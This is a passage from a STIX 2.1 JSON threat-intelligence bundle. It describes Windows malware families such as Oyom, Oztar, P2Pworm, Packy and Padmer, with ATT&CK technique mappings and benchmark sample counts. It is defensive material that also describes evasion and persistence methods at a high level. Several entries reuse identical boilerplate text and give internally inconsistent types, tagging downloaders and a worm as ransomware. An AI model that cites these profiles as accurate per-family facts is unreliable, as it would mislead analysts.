        "Tool:Win32/Oxypumper",
        "HackTool:Win32/Oxypumper",
        "Win32/Oxypumper",
        "OxyFilePumper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oxypumper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oxypumper"
        }
      ],
      "labels": [
        "pua_tool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4ff31a3e-cb9b-5db6-a716-354f1e487e8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oyom",
      "description": "<h3>Executive Summary</h3>\nOyom is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOyom is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Oyom operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Oyom ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Oyom receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Oyom infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Oyom executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Oyom frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Oyom",
        "Downloader.Oyom",
        "Win32/Oyom"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oyom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oyom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ac6e888-beee-5cc9-a1ad-129d05483973",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ff31a3e-cb9b-5db6-a716-354f1e487e8c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oyom exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c968ffc0-04da-5d00-a1d2-9e8862cc12de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ff31a3e-cb9b-5db6-a716-354f1e487e8c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oyom exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a10aaa29-2d96-554f-aeb1-8e54661c4fe8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ff31a3e-cb9b-5db6-a716-354f1e487e8c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oyom exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97911989-2829-54ae-bb9a-2777612ac17c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oztar",
      "description": "Trojan:Win32/Oztar is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Oztar</b><br>To an end-user, a Oztar infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Oztar is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Oztar is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Oztar frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Oztar reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oztar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oztar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0370d005-4ad7-59a1-90dc-92c31fbff85c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97911989-2829-54ae-bb9a-2777612ac17c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oztar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93a0def1-d405-5629-acec-5feb2bb556bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97911989-2829-54ae-bb9a-2777612ac17c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oztar exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3864659-6749-5286-b972-41ee3316208e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97911989-2829-54ae-bb9a-2777612ac17c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oztar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c393f5c-9181-57b5-8292-13ed094db667",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97911989-2829-54ae-bb9a-2777612ac17c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oztar exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--566ececc-94ba-53ee-a37f-7d76acafe930",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97911989-2829-54ae-bb9a-2777612ac17c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oztar exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7abd0f3c-f96a-5c20-9995-3092e30b7b4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "P2Pworm",
      "description": "Worm:Win32/P2pworm is a generic classification for worms that exploit Peer-to-Peer (P2P) file-sharing networks (like BitTorrent, eMule, Kazaa, or Ares) to propagate. Instead of relying on network vulnerabilities or email, these worms disguise themselves as highly desirable content (cracked software, movies, music) and wait for users to actively download and execute them (`T1189`).<br><br><b>Understanding P2pworm (File-Sharing Worms)</b><br>To an end-user, the infection begins immediately after running what they believed was a pirated game or software crack. For a network administrator, P2P worms are a persistent headache caused by users bypassing corporate acceptable use policies. While older networks like LimeWire are dead, this vector remains highly relevant via malicious torrents.<br><br><b>Execution and Propagation Mechanics</b><br>Once a user executes the downloaded file, the worm establishes persistence (Registry Run keys or Scheduled Tasks) and immediately begins its propagation routine. It searches the infected host for the shared folders used by installed P2P clients (e.g., the default download directory for a BitTorrent client). It then copies its own executable into these shared folders, often generating hundreds of copies with dynamically generated names designed to attract clicks (e.g., `Photoshop_Crack_2024.exe`, `Windows_11_Activator.exe`). When other users on the P2P network search for these terms, they download the worm directly from the infected host.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from simple nuisance and network bandwidth consumption to the deployment of secondary payloads like backdoors or ransomware. Host-based IoCs include the sudden appearance of hundreds of small `.exe`, `.scr`, or `.zip` files in the user's 'Downloads' or P2P shared folders. Network IoCs include massive spikes in inbound and outbound P2P traffic on non-standard ports, often circumventing standard HTTP proxies. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for P2Pworm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/p2pworm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01a1cc6c-4f04-56cf-a611-9030482c3365",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7abd0f3c-f96a-5c20-9995-3092e30b7b4a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "P2Pworm exhibits technique T1189 (Drive-by Compromise (Distributing malware via malicious P2P downloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85861ee1-eb06-546f-b7d5-98471f0d9d73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7abd0f3c-f96a-5c20-9995-3092e30b7b4a",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "P2Pworm exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location (Disguising the worm as popular software cracks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afa6ff94-23d5-5d5d-a849-7882cfa05d48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7abd0f3c-f96a-5c20-9995-3092e30b7b4a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "P2Pworm exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (Persistence))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--04e2e182-4279-5ee5-b6a2-ee1531b9fc0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pabin",
      "description": "<h3>Executive Summary</h3>\nPabin is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPabin is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Pabin operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Pabin ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Pabin receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Pabin infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Pabin executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Pabin frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Pabin",
        "Downloader.Pabin",
        "Win32/Pabin"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pabin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pabin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82ef3b80-4159-5e36-844e-555755c2d71d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04e2e182-4279-5ee5-b6a2-ee1531b9fc0c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pabin exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b75c03c-6b53-5355-8c01-fb93042fd566",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04e2e182-4279-5ee5-b6a2-ee1531b9fc0c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pabin exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--647c6864-6f16-5cfa-96fc-be0161f3c928",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04e2e182-4279-5ee5-b6a2-ee1531b9fc0c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pabin exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad793ff5-14b7-51d6-9946-4c72b1af923b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pacex",
      "description": "Trojan:Win32/Pacex is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pacex</b><br>To an end-user, a Pacex infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pacex is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pacex is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pacex frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pacex reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pacex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pacex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d51aae2-3d2c-5b78-9fc0-f2fcbe722d70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad793ff5-14b7-51d6-9946-4c72b1af923b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pacex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d642317-fa08-5ab6-9278-fb076860ed6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad793ff5-14b7-51d6-9946-4c72b1af923b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pacex exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5dc8492-db9b-5c6b-a673-160f8be117ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad793ff5-14b7-51d6-9946-4c72b1af923b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pacex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abdfaee5-cb02-542c-a663-1d9bad4d6a2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad793ff5-14b7-51d6-9946-4c72b1af923b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pacex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--431a7bb5-4764-5e13-87b9-382fcf4d6a81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad793ff5-14b7-51d6-9946-4c72b1af923b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pacex exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ae931406-fb30-5bbd-b698-fb2523c9b70e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Packedent",
      "description": "Packedent (tracked across threat intelligence feeds and antivirus telemetry as VirTool:Win32/Packedent, Packer:Win32/Packedent, and Trojan.Win32.Packedent) is a malicious binary packing, high-entropy compression, and armor utility active since 2016. Authors of crimeware tools, infostealers, and ransomware utilize Packedent to obscure native Portable Executable (PE) binaries and bypass endpoint signature matching. Packedent introduces high-entropy sections containing compressed and encrypted payload data, paired with a polymorphic decryption stub that executes at runtime. Before unpacking the embedded payload into memory, Packedent conducts deep environmental and timing checks (such as PEB BeingDebugged evaluation, GetTickCount/RDTSC delta verification, and querying virtual machine registry artifacts) to detect sandbox and hypervisor environments, terminating execution if analysis indicators are identified. (Observed samples in benchmark: 43)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VirTool:Win32/Packedent",
        "Packer:Win32/Packedent",
        "Trojan.Win32.Packedent",
        "Win32/Packedent",
        "VirTool.Win32.Packedent.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Packedent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/packedent"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--383463e6-d0b0-5664-b2e7-9374173a7791",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Packy",
      "description": "Packy (classified across industry anti-malware signatures under VirTool:Win32/Packy, Packer:Win32/Packy, Trojan:Win32/Packy, and Win32/Packy) is a specialized binary obfuscation, compression, and runtime packing framework active since 2015. Authored to protect and conceal malicious payloads\u2014including trojans, keyloggers, and ransomware\u2014from static signature detection, Packy compresses and encrypts the original PE executable, encapsulating it inside a heavily obfuscated unpacker stub. During execution, the Packy stub initiates anti-debugging and anti-analysis routines (such as checking BeingDebugged flags, calling IsDebuggerPresent, and measuring CPU cycle intervals with RDTSC). Once virtualized or analysis environments are ruled out, Packy dynamically reconstructs the original executable headers and code sections directly into memory, resolving import address tables (IAT) on the fly without writing unencrypted artifacts to physical disk. (Observed samples in benchmark: 39)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VirTool:Win32/Packy",
        "Packer:Win32/Packy",
        "Trojan:Win32/Packy",
        "Win32/Packy",
        "VirTool.Win32.Packy.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Packy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/packy"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b07d5592-0a03-51b3-9807-8e0e1cc34259",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Padmer",
      "description": "<h3>Executive Summary</h3>\nPadmer is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPadmer is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Padmer operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Padmer ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Padmer receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Padmer infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Padmer executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Padmer frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Padmer",
        "Downloader.Padmer",
        "Win32/Padmer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Padmer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/padmer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff6795bf-b0ea-50e0-b1af-d14f3198f0c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b07d5592-0a03-51b3-9807-8e0e1cc34259",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Padmer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b69d93fe-c9b5-517a-855c-df1ad8479f2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b07d5592-0a03-51b3-9807-8e0e1cc34259",
